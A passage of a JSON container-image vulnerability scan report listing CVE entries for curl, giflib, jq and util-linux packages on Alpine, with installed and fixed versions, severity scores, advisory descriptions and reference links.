"InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8927", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:3fb69f76e81115623dec2f89489b7f08d71a3fa63779caf291cdf6658b5dc78f", "Title": "curl: Information disclosure due to uncleared proxy authentication state", "Description": "When reusing a libcurl handle for sequential transfers driven by\nenvironment-variable proxy configuration, libcurl fails to clear the proxy\nauthentication state between requests. Specifically, if the initial transfer\nauthenticates against `proxyA` using Digest auth, a subsequent transfer routed\nthrough `proxyB` erroneously leaks the `Proxy-Authorization:` header intended\nsolely for `proxyA`.", "Severity": "HIGH", "CweIDs": [ "CWE-294" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "julia": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69126", "https://access.redhat.com/security/cve/CVE-2026-8927", "https://bugzilla.redhat.com/2496764", "https://bugzilla.redhat.com/2496769", "https://bugzilla.redhat.com/show_bug.cgi?id=2496764", "https://bugzilla.redhat.com/show_bug.cgi?id=2496769", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-8927.md", "https://curl.se/docs/CVE-2026-8927.html", "https://curl.se/docs/CVE-2026-8927.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8458", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8927", "https://errata.almalinux.org/9/ALSA-2026-69126.html", "https://errata.rockylinux.org/RLSA-2026:69126", "https://github.com/advisories/GHSA-jr4f-4564-w3mr", "https://hackerone.com/reports/3744543", "https://linux.oracle.com/cve/CVE-2026-8927.html", "https://linux.oracle.com/errata/ELSA-2026-92368.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-8927", "https://ubuntu.com/security/notices/USN-8487-1", "https://ubuntu.com/security/notices/USN-8820-1", "https://www.cve.org/CVERecord?id=CVE-2026-8927" ], "PublishedDate": "2026-07-03T07:16:25.123Z", "LastModifiedDate": "2026-09-15T07:16:33.157Z" }, { "VulnerabilityID": "CVE-2026-92392", "PkgID": "curl@8.20.0-r1", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "8c098d986f37fe67" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.23.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-92392", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:a9dbcb456abf08864b791a072b20b2da5a42a2c201d9a81523dafca9f505555b", "Title": "curl: curl: HTTP/2 upload Use-After-Free", "Description": "During an upload, curl mishandles HTTP/2 `RST_STREAM` received from the server\n(with reason `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`) leading to a use after\nfree of a `struct Curl_easy` object.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/18/5", "http://www.openwall.com/lists/oss-security/2026/10/18/6", "https://access.redhat.com/security/cve/CVE-2026-92392", "https://curl.se/docs/CVE-2026-92392.html", "https://curl.se/docs/CVE-2026-92392.json", "https://hackerone.com/reports/4030333", "https://nvd.nist.gov/vuln/detail/CVE-2026-92392", "https://ubuntu.com/security/notices/USN-8927-1", "https://ubuntu.com/security/notices/USN-8927-2", "https://www.cve.org/CVERecord?id=CVE-2026-92392" ], "PublishedDate": "2026-10-14T08:17:05.997Z", "LastModifiedDate": "2026-10-18T23:16:57.163Z" }, { "VulnerabilityID": "CVE-2026-9547", "PkgID": "curl@8.20.0-r1", "PkgName": "curl", "PkgIdentifier": { "PURL": "pkg:apk/alpine/curl@8.20.0-r1?arch=x86_64\u0026distro=3.24.1", "UID": "8c098d986f37fe67" }, "InstalledVersion": "8.20.0-r1", "FixedVersion": "8.21.0-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9547", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:459d3735a023b3aaeeb1bdbf514205d8ac326338376b549c5b68865b1db91629", "Title": "curl: curl: Man-in-the-middle attack via SSH host key bypass", "Description": "When a libcurl-based application performs transfers via `SCP://` or `SFTP://`\nand utilizes the `CURLOPT_SSH_KEYFUNCTION` callback, it may silently accept an\nuntrusted server. This vulnerability occurs when a server presents a host key\ntype that does not match the specific key type already recorded for that host\nin the `known_hosts` file. Instead of rejecting the mismatch, the callback\nmechanism fails to properly enforce the restriction, allowing the connection\nto succeed without warning and risking a potential man-in-the-middle attack.", "Severity": "HIGH", "CweIDs": [ "CWE-297" ], "VendorSeverity": { "alma": 3, "amazon": 2, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55439", "https://access.redhat.com/security/cve/CVE-2026-9547", "https://bugzilla.redhat.com/2446448", "https://bugzilla.redhat.com/2446450", "https://bugzilla.redhat.com/2496758", "https://bugzilla.redhat.com/2496763", "https://bugzilla.redhat.com/show_bug.cgi?id=2446448", "https://bugzilla.redhat.com/show_bug.cgi?id=2446450", "https://bugzilla.redhat.com/show_bug.cgi?id=2496758", "https://bugzilla.redhat.com/show_bug.cgi?id=2496763", "https://creativecommons.org/licenses/by/4.0/", "https://curl.se/L7HzKXisfJ/CVE-2026-9547.md", "https://curl.se/docs/CVE-2026-9547.html", "https://curl.se/docs/CVE-2026-9547.json", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-1965", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3783", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8286", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9547", "https://errata.almalinux.org/9/ALSA-2026-55439.html", "https://errata.rockylinux.org/RLSA-2026:55439", "https://github.com/advisories/GHSA-xq9p-gxg6-f7q6", "https://hackerone.com/reports/3751712", "https://linux.oracle.com/cve/CVE-2026-9547.html", "https://linux.oracle.com/errata/ELSA-2026-55450.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-9547", "https://ubuntu.com/security/notices/USN-8487-1", "https://www.cve.org/CVERecord?id=CVE-2026-9547" ], "PublishedDate": "2026-07-03T07:16:25.99Z", "LastModifiedDate": "2026-09-15T07:16:35.31Z" }, { "VulnerabilityID": "CVE-2026-26740", "PkgID": "giflib@5.2.2-r1", "PkgName": "giflib", "PkgIdentifier": { "PURL": "pkg:apk/alpine/giflib@5.2.2-r1?arch=x86_64\u0026distro=3.24.1", "UID": "82fb7ad92099da32" }, "InstalledVersion": "5.2.2-r1", "FixedVersion": "5.2.2-r2", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-26740", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:bb832735d90a88e0141d0231f8d63184ea3fb8e0bbeee95b26d75be4ccb7cacf", "Title": "giflib: giflib: Denial of Service via buffer overflow in EGifGCBToExtension", "Description": "Buffer Overflow vulnerability in giflib v.5.2.2 allows a remote attacker to cause a denial of service via the EGifGCBToExtension overwriting an existing Graphic Control Extension block without validating its allocated size.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 2, "julia": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:33447", "https://access.redhat.com/errata/RHSA-2026:33450", "https://access.redhat.com/errata/RHSA-2026:33451", "https://access.redhat.com/errata/RHSA-2026:33452", "https://access.redhat.com/errata/RHSA-2026:33455", "https://access.redhat.com/errata/RHSA-2026:33456", "https://access.redhat.com/errata/RHSA-2026:33501", "https://access.redhat.com/errata/RHSA-2026:33502", "https://access.redhat.com/errata/RHSA-2026:33503", "https://access.redhat.com/errata/RHSA-2026:33509", "https://access.redhat.com/errata/RHSA-2026:36004", "https://access.redhat.com/errata/RHSA-2026:36005", "https://access.redhat.com/errata/RHSA-2026:36006", "https://access.redhat.com/errata/RHSA-2026:9683", "https://access.redhat.com/errata/RHSA-2026:9686", "https://access.redhat.com/errata/RHSA-2026:9689", "https://access.redhat.com/errata/RHSA-2026:9693", "https://access.redhat.com/security/cve/CVE-2026-26740", "https://bugzilla.redhat.com/show_bug.cgi?id=2448747", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26740", "https://errata.almalinux.org/9/ALSA-2026-9693.html", "https://errata.rockylinux.org/RLSA-2026:33501", "https://github.com/zakkanijia/POC/blob/main/giflib/giftool/giflib_giftool_gce_len_heap_oobwrite_disclosure.md", "https://linux.oracle.com/cve/CVE-2026-26740.html", "https://linux.oracle.com/errata/ELSA-2026-9693.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-26740", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26740.json", "https://ubuntu.com/security/notices/USN-8583-1", "https://www.cve.org/CVERecord?id=CVE-2026-26740" ], "PublishedDate": "2026-03-18T18:16:26.22Z", "LastModifiedDate": "2026-07-23T12:17:15.66Z" }, { "VulnerabilityID": "CVE-2026-32316", "PkgID": "jq@1.8.1-r0", "PkgName": "jq", "PkgIdentifier": { "PURL": "pkg:apk/alpine/jq@1.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "2f4736a402d933da" }, "InstalledVersion": "1.8.1-r0", "FixedVersion": "1.8.2-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-32316", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:8d54358caa59cf2882fa5b237d10a919838e369a78203aa4a827c606faad9ee1", "Title": "jq: jq: Denial of Service or potential arbitrary code execution due to integer overflow and heap-based buffer overflow", "Description": "jq is a command-line JSON processor. An integer overflow vulnerability exists through version 1.8.1 within the jvp_string_append() and jvp_string_copy_replace_bad functions, where concatenating strings with a combined length exceeding 2^31 bytes causes a 32-bit unsigned integer overflow in the buffer allocation size calculation, resulting in a drastically undersized heap buffer. Subsequent memory copy operations then write the full string data into this undersized buffer, causing a heap buffer overflow classified as CWE-190 (Integer Overflow) leading to CWE-122 (Heap-based Buffer Overflow). Any system evaluating untrusted jq queries is affected, as an attacker can crash the process or potentially achieve further exploitation through heap corruption by crafting queries that produce extremely large strings. The root cause is the absence of string size bounds checking, unlike arrays and objects which already have size limits. The issue has been addressed in commit e47e56d226519635768e6aab2f38f0ab037c09e5.", "Severity": "HIGH", "CweIDs": [ "CWE-122", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-32316", "https://github.com/jqlang/jq/commit/e47e56d226519635768e6aab2f38f0ab037c09e5", "https://github.com/jqlang/jq/security/advisories/GHSA-q3h9-m34w-h76f", "https://lists.debian.org/debian-lts-announce/2026/10/msg00034.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-32316", "https://ubuntu.com/security/notices/USN-8202-1", "https://ubuntu.com/security/notices/USN-8202-2", "https://www.cve.org/CVERecord?id=CVE-2026-32316" ], "PublishedDate": "2026-04-13T18:16:29.42Z", "LastModifiedDate": "2026-10-26T22:10:00.163Z" }, { "VulnerabilityID": "CVE-2026-40164", "PkgID": "jq@1.8.1-r0", "PkgName": "jq", "PkgIdentifier": { "PURL": "pkg:apk/alpine/jq@1.8.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "2f4736a402d933da" }, "InstalledVersion": "1.8.1-r0", "FixedVersion": "1.8.2-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40164", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:dd0551b8d97350d06502d790e9fd022b38ad81f07f406589d41ca493ee82a84f", "Title": "jq: jq: Denial of Service via crafted JSON object causing hash collisions", "Description": "jq is a command-line JSON processor. Before commit 0c7d133c3c7e37c00b6d46b658a02244fdd3c784, jq used MurmurHash3 with a hardcoded, publicly visible seed (0x432A9843) for all JSON object hash table operations, which allowed an attacker to precompute key collisions offline. By supplying a crafted JSON object (~100 KB) where all keys hashed to the same bucket, hash table lookups degraded from O(1) to O(n), turning any jq expression into an O(n²) operation and causing significant CPU exhaustion. This affected common jq use cases such as CI/CD pipelines, web services, and data processing scripts, and was far more practical to exploit than existing heap overflow issues since it required only a small payload. This issue has been patched in commit 0c7d133c3c7e37c00b6d46b658a02244fdd3c784.", "Severity": "HIGH", "CweIDs": [ "CWE-328", "CWE-407", "CWE-341" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:16252", "https://access.redhat.com/errata/RHSA-2026:16692", "https://access.redhat.com/errata/RHSA-2026:16693", "https://access.redhat.com/errata/RHSA-2026:18040", "https://access.redhat.com/errata/RHSA-2026:18042", "https://access.redhat.com/errata/RHSA-2026:18043", "https://access.redhat.com/errata/RHSA-2026:18044", "https://access.redhat.com/errata/RHSA-2026:18045", "https://access.redhat.com/errata/RHSA-2026:18046", "https://access.redhat.com/errata/RHSA-2026:18047", "https://access.redhat.com/errata/RHSA-2026:18048", "https://access.redhat.com/errata/RHSA-2026:19151", "https://access.redhat.com/errata/RHSA-2026:19365", "https://access.redhat.com/errata/RHSA-2026:23233", "https://access.redhat.com/errata/RHSA-2026:23245", "https://access.redhat.com/errata/RHSA-2026:25044", "https://access.redhat.com/errata/RHSA-2026:25096", "https://access.redhat.com/errata/RHSA-2026:25181", "https://access.redhat.com/errata/RHSA-2026:26528", "https://access.redhat.com/errata/RHSA-2026:26542", "https://access.redhat.com/errata/RHSA-2026:28887", "https://access.redhat.com/errata/RHSA-2026:30078", "https://access.redhat.com/errata/RHSA-2026:30087", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/errata/RHSA-2026:34098", "https://access.redhat.com/errata/RHSA-2026:8579", "https://access.redhat.com/security/cve/CVE-2026-40164", "https://bugzilla.redhat.com/2458077", "https://bugzilla.redhat.com/2458084", "https://bugzilla.redhat.com/show_bug.cgi?id=2458077", "https://bugzilla.redhat.com/show_bug.cgi?id=2458084", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-40164", "https://errata.almalinux.org/9/ALSA-2026-19365.html", "https://errata.rockylinux.org/RLSA-2026:19365", "https://github.com/jqlang/jq/commit/0c7d133c3c7e37c00b6d46b658a02244fdd3c784", "https://github.com/jqlang/jq/security/advisories/GHSA-wwj8-gxm6-jc29", "https://linux.oracle.com/cve/CVE-2026-40164.html", "https://linux.oracle.com/errata/ELSA-2026-19365.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-40164", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40164.json", "https://ubuntu.com/security/notices/USN-8202-1", "https://ubuntu.com/security/notices/USN-8202-2", "https://www.cve.org/CVERecord?id=CVE-2026-40164" ], "PublishedDate": "2026-04-14T00:16:07.36Z", "LastModifiedDate": "2026-10-26T22:10:00.163Z" }, { "VulnerabilityID": "CVE-2026-53612", "PkgID": "libblkid@2.42.1-r0", "PkgName": "libblkid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libblkid@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "6043f81dec59c867" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:7c5dc139e43fe7318ae70fd1ccc76a66b6eeaaa9db9623e941a119f4ba9686f3", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "PkgID": "libblkid@2.42.1-r0", "PkgName": "libblkid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libblkid@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "6043f81dec59c867" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:76a233d15797fc43741736fc8abae2cb0e7ce60da5ec5d5c509f8206cbe7b1e7", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "PkgID": "libblkid@2.42.1-r0", "PkgName": "libblkid", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libblkid@2.42.1-r0?arch=x86_64\u0026distro=3.24.1", "UID": "6043f81dec59c867" }, "InstalledVersion": "2.42.1-r0", "FixedVersion": "2.42.3-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:57849ce0e8b73c47e39f1a15085f1d956a71298980c819714d10885f01a877b8", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ 